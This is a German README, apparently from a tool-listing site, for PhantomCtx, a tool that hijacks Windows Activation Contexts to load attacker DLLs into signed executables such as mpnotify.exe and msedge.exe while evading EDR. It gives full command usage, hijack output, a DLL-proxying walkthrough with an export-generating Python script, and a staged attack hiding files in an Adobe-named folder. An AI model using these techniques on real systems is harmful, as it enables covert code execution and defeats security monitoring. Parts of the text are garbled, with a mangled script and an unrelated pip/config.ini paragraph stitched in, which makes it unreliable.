PhantomCtx

PhantomCtx ist ein Tool, das Aktivierungskontext-Hijacking automatisiert, mit dem Ziel, eine beliebige DLL in die überwiegende Mehrheit signierter ausführbarer Dateien (z. B. Microsoft, Adobe, Mozilla) zu laden.

Der Loader wird als moderne Alternative zu traditionellem DLL Hijacking & Sideloading präsentiert: Im Gegensatz zu herkömmlichen Ansätzen ist kein verwundbares Binary erforderlich. Die Technik kann angewendet werden, solange die Zielausführbare Datei eine DLL über ihre Import Address Table (IAT) oder, im schlimmsten Fall, über LoadLibrary ohne absoluten Pfad auflöst.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

Für einen tieferen Einblick in die interne Funktionsweise und wie aggressive EDR-Lösungen umgangen werden, lesen Sie den Beitrag auf [meinem technischen Blog](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# Inhaltsverzeichnis

- [Interner Mechanismus](#interner-mechanismus)
  - [Eine neue Methode zur Aktivierungskontext-Übernahme mit Fokus auf EDR-Umgehung](#eine-neue-methode-zur-aktivierungskontext-übernahme-mit-fokus-auf-edr-umgehung)
- [Kompilieren](#kompilieren)
- [Verwendung: Modulbasierter Workflow](#verwendung-modulbasierter-workflow)
  - [Recon](#recon)
  - [Spawn (empfohlen)](#spawn-empfohlen)
  - [Runtime](#runtime)
- [Beispiel: Aktivierungskontext-Übernahme + DLL-Proxying von mpnotify.exe](#beispiel-aktivierungskontext-übernahme--dll-proxying-von-mpnotifyexe)
- [Haftungsausschluss](#haftungsausschluss)
- [Referenzen](#referenzen)

# Interner Mechanismus

`PhantomCtx` missbraucht ein **legitimes** Windows-Feature, das in den meisten Prozessen vorhanden ist, die sogenannten **Aktivierungskontexte** (Activation Contexts). Laut Microsoft:

>[_Aktivierungskontexte_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) sind Datenstrukturen im Arbeitsspeicher, die Informationen enthalten, die das System verwenden kann, um eine Anwendung **zum Laden einer bestimmten DLL-Version**, COM-Objektinstanz oder benutzerdefinierten Fensterversion umzuleiten...

Wenn der Windows-Lader eine DLL auflöst (über `LoadLibrary` oder die Importtabelle), folgt er einer definierten Auflösungsreihenfolge:

1. DLL-Umleitung
2. API-Sets
3. **SxS-Manifestumleitung**
4. Liste der geladenen Module
5. Bekannte DLLs
6. Prozess-Paketabhängigkeitsgraph  
7 – 12. Standard-Dateisuchereihenfolge auf der Festplatte

`PhantomCtx` zielt auf Schritt 3: **SxS-Manifestumleitung**. Aktivierungskontexte werden aus [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`)-Dateien abgeleitet, die ausführbaren Dateien zugeordnet sind und typischerweise in PE-Binärdateien eingebettet sind. Intern enthält ein Aktivierungskontext ein **Inhaltsverzeichnis (ToC)**, das mehrere Abschnitte indiziert, einschließlich des **DLL-Umleitungsabschnitts**. Der Lader greift üblicherweise über `PEB.ActivationContextData` auf Aktivierungskontexte zu.

Forschung von [Kurosh Dabbagh Escalante](https://github.com/Kudaes) zeigte, dass ein bösartiger Aktivierungskontext mittels `CreateActCtxW` erstellt, in `RW`-Speicher eines Zielprozesses geschrieben und dann aktiviert werden kann, indem `PEB.ActivationContextData` überschrieben wird, um auf die konstruierte Struktur zu zeigen.

Nach der Übernahme löst der Lader die innerhalb des bösartigen Aktivierungskontexts definierten DLL-Umleitungen auf und **leitet die Bibliotheksauflösung** auf vom Angreifer kontrollierte Pfade um.

Der als Teil seiner Forschung entwickelte Lader mit dem Namen `Eclipse` befindet sich im [offiziellen Repository](https://github.com/Kudaes/Eclipse).

## Eine neue Methode zur Aktivierungskontext-Übernahme mit Fokus auf EDR-Umgehung

Nach mehreren Tests wurde `Eclipse` von aggressiven EDRs wie Elastic an folgenden Punkten erkannt:

- `Potential Suspended Process Code Injection`: Erstellung eines angehaltenen Prozesses, gefolgt von `NtWriteVirtualMemory` zum Kopieren des AC-Blobs in den entfernten Prozess.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` ohne `CreateProcess` im Aufrufstapel und einem Modul mit niedriger Reputation, erforderlich zum Überschreiben von `PEB.ActivationContextData`.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` ohne `CreateProcess` im Aufrufstapel, beschränkt auf vom System/Benutzer installierte Binärdateien.

Nach einem Tag Forschung, in der ich nach alternativen Ansätzen für die Implementierung in `PhantomCtx` suchte, entdeckte ich, dass **der Speicherbereich des ursprünglichen Aktivierungskontexts ein Abschnitts-View ist, der während der Prozesserstellung abgebildet wird**. Es ist möglich, **diesen Abschnitts-View mit** `NtUnmapViewOfSection` **abzubilden** und dann einen neuen schreibgeschützten Abschnitts-View zu erstellen, der durch unseren bösartigen Aktivierungskontext gestützt wird, und ihn an der **exakt gleichen Speicheradresse** abzubilden, an der sich der ursprüngliche befand.

Daher ist es **nicht länger erforderlich**, dass der Lader den `PEB.ActivationContextData`-Zeiger überschreibt. Dies eliminiert die Notwendigkeit, `NtAllocateVirtualMemory` und `NtWriteVirtualMemory` zu verwenden, und umgeht alle EDR-Überwachungsregeln in Bezug auf Schreibvorgänge in entfernte Prozesse und Code-Injektion.

Um die Erkennung zusätzlich zu erschweren, verwendet `PhantomCtx` kein `CreateActCtxW`, wodurch die Notwendigkeit entfällt, während des Angriffs `.manifest`-Dateien zu verarbeiten. Abhängig vom gewählten Modus kann es **den Aktivierungskontext von einem anderen entfernten Prozess stehlen**, der einen gültigen DLL-Umleitungsabschnitt enthält, indem es `NtReadVirtualMemory` verwendet, die DLL-Umleitungseinträge lokal rekonstruiert, patcht und dann das Original ersetzt.

# Kompilieren

Zum Kompilieren des Tools wird die Verwendung von Visual Studio oder eines kompatiblen Compilers empfohlen.

Wenn Sie VS verwenden, öffnen Sie die `x64 Native Tools Command Prompt for VS`, navigieren Sie zum Projektstammverzeichnis und kompilieren Sie es mit `compile.bat`:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

Verwendung: Modulbasierter Workflow

Das Tool ist mit einer modularen Architektur konzipiert, um die Entwicklung zu vereinfachen und dem Bediener einen klaren, schrittbasierten Workflow zu bieten.

Jedes Modul erfüllt eine spezifische Rolle im Exploitation-Workflow.

Bitte nehmen Sie sich einen Moment Zeit, um den Zweck jedes einzelnen zu überprüfen, um die vollen Fähigkeiten des Tools auszuschöpfen!!!

Der Angriff kann entweder auf einen zu startenden Prozess (empfohlen) oder auf einen bereits laufenden Prozess durchgeführt werden. Das Tool ist darauf ausgelegt, beide Szenarien zu handhaben.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.

## Recon

Der `recon`-Modus konzentriert sich auf das Parsen des Aktivierungskontexts des Zielprogramms oder eines laufenden Prozesses. Dies ist das erste Modul, das ausgeführt werden sollte, da es bestimmt, welches Exploitation-Submodul im Exploitation-Workflow verwendet werden soll.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

Als Beispiel verwenden wir die signierte Microsoft-Binärdatei mpnotify.exe. Der erste Schritt ist zu bestimmen, ob sie einen gültigen Aktivierungskontext mit einem DLL-Umleitungsabschnitt enthält.

Falls nicht, empfiehlt das Tool das Untermodul steal-context unter den Modi spawn oder runtime, das einen Aktivierungskontext aus einem anderen Prozess abruft, der einen gültigen Umleitungsabschnitt enthält.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

Wenn der Zielprogramm- oder Prozess-Activation Context einen gültigen DLL-Umleitungsabschnitt enthält, ist der effizienteste Ansatz, die `add-entry`- oder `patch-entry`-Submodule innerhalb der `spawn`- oder `runtime`-Ausbeutungsmodi zu verwenden.

## Spawn (empfohlen)

Der `spawn`-Modus wurde entwickelt, um Activation-Context-Hijacking durchzuführen, indem ein Prozess von einer signierten ausführbaren Datei auf dem Zielsystem gestartet wird.

Diese Methode ist die **am meisten empfohlene** und gründlich getestete, aufgrund ihrer betrieblichen Einfachheit und Zuverlässigkeit.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

Der interne Arbeitsablauf dieses Modus ist wie folgt:

Erstellen Sie den Zielprozess im angehaltenen Zustand mit CreateProcessW.
Abhängig vom ausgewählten Untermodul:
- steal-context: Öffnen Sie den stehlenden Prozess und kopieren Sie einen gültigen Aktivierungskontext, der einen DLL-Umleitungsabschnitt enthält, in einen lokalen Puffer. Abhängig davon, ob bereits ein Eintrag für die Ziel-DLL existiert, wird ein neuer Eintrag erstellt oder ein vorhandener gepatcht. Der modifizierte Aktivierungskontext wird dann in den angehaltenen Prozess eingeblendet und ersetzt den ursprünglichen.
- add-entry: Öffnen Sie den angehaltenen Programmprozess und kopieren Sie seinen Aktivierungskontext in einen lokalen Puffer. Ein neuer DLL-Umleitungseintrag wird für die angegebene DLL hinzugefügt, und der modifizierte Aktivierungskontext ersetzt den ursprünglichen.
- patch-entry: Öffnen Sie den angehaltenen Programmprozess und kopieren Sie seinen Aktivierungskontext in einen lokalen Puffer. Der vorhandene DLL-Umleitungseintrag für die angegebene DLL wird gepatcht, um auf den angegebenen Payload-DLL-Pfad zu verweisen, und der modifizierte Aktivierungskontext ersetzt den ursprünglichen.
Setzen Sie die Ausführung des angehaltenen Prozesses mit ResumeThread fort.

Das Untermodul steal-context wird empfohlen, wenn die Zielausführbare Datei keinen gültigen Aktivierungskontext oder keinen gültigen DLL-Umleitungsabschnitt enthält. Dies kann mit dem zuvor ausgeführten Modul recon festgestellt werden.

Ein zuverlässiges Ziel für das Stehlen von Kontexten ist explorer.exe. Dies führt nicht zu Instabilität oder Erkennungsrisiko, da der Vorgang nur das Lesen des virtuellen Speichers umfasst.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` Die Submodule `add-entry` und `patch-entry` werden verwendet, wenn **die Anwendung bereits einen gültigen Aktivierungskontext mit einem DLL-Umleitungsabschnitt besitzt** und:

Er enthält bereits einen Umleitungseintrag für eine DLL; in diesem Fall ist patch-entry die angemessene Option.
Ein benutzerdefinierter Umleitungseintrag muss für eine Bibliothek hinzugefügt werden, die während der Ausführung geladen werden soll; in diesem Fall wird add-entry verwendet.

Obwohl steal-context in diesen Szenarien weiterhin verwendet werden kann, ist es im Allgemeinen unnötig, da bereits ein gültiger Aktivierungskontext zur Änderung verfügbar ist.

Ein Beispiel für patch-entry kann nach der Aufzählung von msedge.exe mit PhantomCtx beobachtet werden, bei dem ein vorhandener benutzerdefinierter Umleitungseintrag für msedge_elf.dll identifiziert wird:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` Alternatively, by enumerating the IAT of the target process, imported DLLs suitable for hijacking can be identified. For example, `librewolf.exe` imports `SHLWAPI.dll` even if it is not present in the Activation Context manifest; in such cases, it can be added to the redirection table to force resolution.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

Der runtime-Modus ist dafür ausgelegt, ein Activation Context Hijacking auf einem signierten, bereits laufenden Prozess durchzuführen.

Obwohl dieses Modul implementiert ist, hängt seine Wirksamkeit davon ab, genau zu wissen, wann und welche spezifische Bibliothek während der Prozesslaufzeit geladen wird. Daher hängt der Erfolg, selbst wenn der Activation Context des legitimen Prozesses gekapert wird, immer noch davon ab, dass das Ziel LoadLibrary ohne expliziten Pfad aufruft, was oft schwer vorherzusagen ist.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

Der interne Arbeitsablauf dieses Modus ist wie folgt:
1. Die PID des Zielprozesses wird anhand des ausführbaren Namens identifiziert, und der Prozess wird mit den Berechtigungen `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION` geöffnet.
2. Abhängig vom ausgewählten Submodul:
    - `steal-context`: Öffne den stehlenden Prozess und kopiere einen gültigen Aktivierungskontext, der einen DLL-Umleitungsabschnitt enthält, in einen lokalen Puffer. Je nachdem, ob ein Eintrag für die Ziel-DLL bereits existiert, wird ein neuer Eintrag erstellt oder der vorhandene gepatcht. Der modifizierte Aktivierungskontext wird dann in den laufenden Prozess eingeblendet und ersetzt das Original.
	  
	- `add-entry`: Öffne den laufenden Zielprozess und kopiere seinen Aktivierungskontext in einen lokalen Puffer. Ein neuer DLL-Umleitungseintrag wird für die angegebene DLL hinzugefügt, und der modifizierte Aktivierungskontext ersetzt das Original.
	  
	- `patch-entry`: Öffne den laufenden Zielprozess und kopiere seinen Aktivierungskontext in einen lokalen Puffer. Der vorhandene DLL-Umleitungseintrag für die angegebene DLL wird gepatcht, um auf die bereitgestellte Payload-DLL zu verweisen, und der aktualisierte Aktivierungskontext ersetzt das Original.

Das Submodul `steal-context` wird empfohlen, wenn **der laufende Zielprozess keinen gültigen Aktivierungskontext oder keinen gültigen DLL-Umleitungsabschnitt enthält**. Dies kann mit dem zuvor ausgeführten Modul `recon` ermittelt werden.

Ein zuverlässiges Ziel für das Stehlen von Kontexten ist `explorer.exe`. Dies führt weder zu Instabilität noch zu Erkennungsrisiken, da die Operation nur das Lesen des virtuellen Speichers umfasst.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

Die add-entry- und patch-entry-Submodule werden verwendet, wenn der laufende Prozess bereits einen gültigen Aktivierungskontext mit einem DLL-Umleitungsabschnitt besitzt und:

Er enthält bereits einen Umleitungseintrag für eine DLL; in diesem Fall ist patch-entry die geeignete Option.
Eine benutzerdefinierte Umleitung muss für eine Bibliothek hinzugefügt werden, von der erwartet wird, dass sie während der Ausführung geladen wird; in diesem Fall wird add-entry verwendet.

Obwohl steal-context in diesen Szenarien weiterhin verwendet werden kann, ist es im Allgemeinen unnötig, da bereits ein gültiger Aktivierungskontext zur Modifikation zur Verfügung steht.

Ein patch-entry-Beispiel kann nach dem Aufzählen des Prozesses msedge.exe mit PhantomCtx beobachtet werden, bei dem ein vorhandener benutzerdefinierter Umleitungseintrag für msedge_elf.dll identifiziert wird:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` Alternativ können durch Aufzählung der Laufzeitereignisse des Zielprozesses DLLs, die während der Ausführung geladen werden und für Hijacking geeignet sind, mit Tools wie `Procmon` identifiziert werden. In solchen Fällen kann es zur erzwungenen Auflösung zur Umleitungstabelle hinzugefügt werden.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

Betrachten wir einen praktischen Anwendungsfall, bei dem PhantomCtx auf einem vollständig aktualisierten Windows 11-Rechner, der den Elastic Cloud XDR-Agenten mit ALLEN aktivierten und auf Prevent-Modus gesetzten Regeln (um ihn so aggressiv wie möglich zu machen) ausführt, nicht erkannt wird.

Hinweis: Wir werden Windows 11-Binärdateien anvisieren; falls unser Angreiferrechner Windows 10 ausführt, müssen wir daher die analysierten ausführbaren Dateien und DLLs auf unseren Rechner übertragen.

Der erste Schritt besteht darin, eine Windows-Ausführbare zu identifizieren, die relevante DLLs importiert.

In diesem Fall verwenden wir PE-Bear, um die Importadresstabelle (IAT) der signierten ausführbaren Datei C:\Windows\System32\mpnotify.exe zu überprüfen, wobei ADVAPI32.dll als einer ihrer Importe identifiziert werden kann:

Um zu verhindern, dass die Anwendung beim Laden unserer Payload abstürzt oder unerwartetes Verhalten zeigt, muss DLL-Proxying durchgeführt werden, sodass unsere Payload Aufrufe an die ursprüngliche DLL weiterleitet.

DLL Export Viewer wird verwendet, um alle exportierten Funktionen aus ADVAPI32.dll zu extrahieren und die Weiterleitungsdirektiven zu generieren, die im Quellcode unserer Proxy-DLL angegeben werden.

Sobald C:\Windows\System32\advapi32.dll im DLL Export Viewer geöffnet ist, navigieren Sie zu View > HTML Report - All Functions.

Es ist notwendig, das Browserfenster offen zu lassen, damit die generierte Datei report.html verfügbar bleibt. Der Dateipfad wird dann kopiert und mit dem folgenden Python-Skript von itm4n verarbeitet:```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

`pip` durch `pip3` ersetzen, wenn Python 3 nicht als Standard installiert ist.  
Die Installation von Abhängigkeiten erfolgt automatisch mit `--install-option="--prefix="`.  
Nach der Installation aus dem Repository muss die `config.ini`-Datei angepasst werden:  
`cp config.ini.sample config.ini` und anschließend mit den gewünschten Einstellungen editieren.```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

Alle Exporte aus der Ausgabe werden in den Quellcode von payload.c kopiert, danach wird die DLL kompiliert und auf dem Angreiferrechner zusammen mit PhantomCtx und einer Kopie der ursprünglichen Bibliothek, die in advapi32_orig.dll umbenannt wurde, abgelegt.

Die erforderlichen Dateien müssen wie folgt organisiert werden:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

Die Dateien werden dann in ein Verzeichnis auf dem Windows 11 Zielcomputer übertragen. In diesem Fall werden sie in folgendes Verzeichnis abgelegt:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

Anschließend wird Activation Context Hijacking gegen die mpnotify.exe-Binärdatei unter Verwendung von PhantomCtx durchgeführt:```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

In diesem Fall führt die Payload-DLL `calc.exe` aus. Es wurden keine Warnungen generiert.

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# Haftungsausschluss

Dieses Tool wurde für **persönliche Bildungszwecke** entwickelt und ist ausschließlich 
für Sicherheitsexperten und Red-Team-Operatoren bestimmt, die in **autorisierten Umgebungen** arbeiten.

Die Verwendung von PhantomCtx gegen Systeme ohne ausdrückliche Genehmigung ist **illegal** und 
strengstens untersagt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, 
die durch dieses Tool verursacht werden.

# Referenzen
- [Activation Context Hijack von Kurosh Dabbagh - Navaja Conference](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Activation Context Hijack ‘Eclipse’ Loader](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [ReactOS Quellcode](https://github.com/reactos/reactos)
- [Windows Internals Buch](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)

PhantomCtx

Beliebteste

PhantomCtx

Verwendung: Modulbasierter Workflow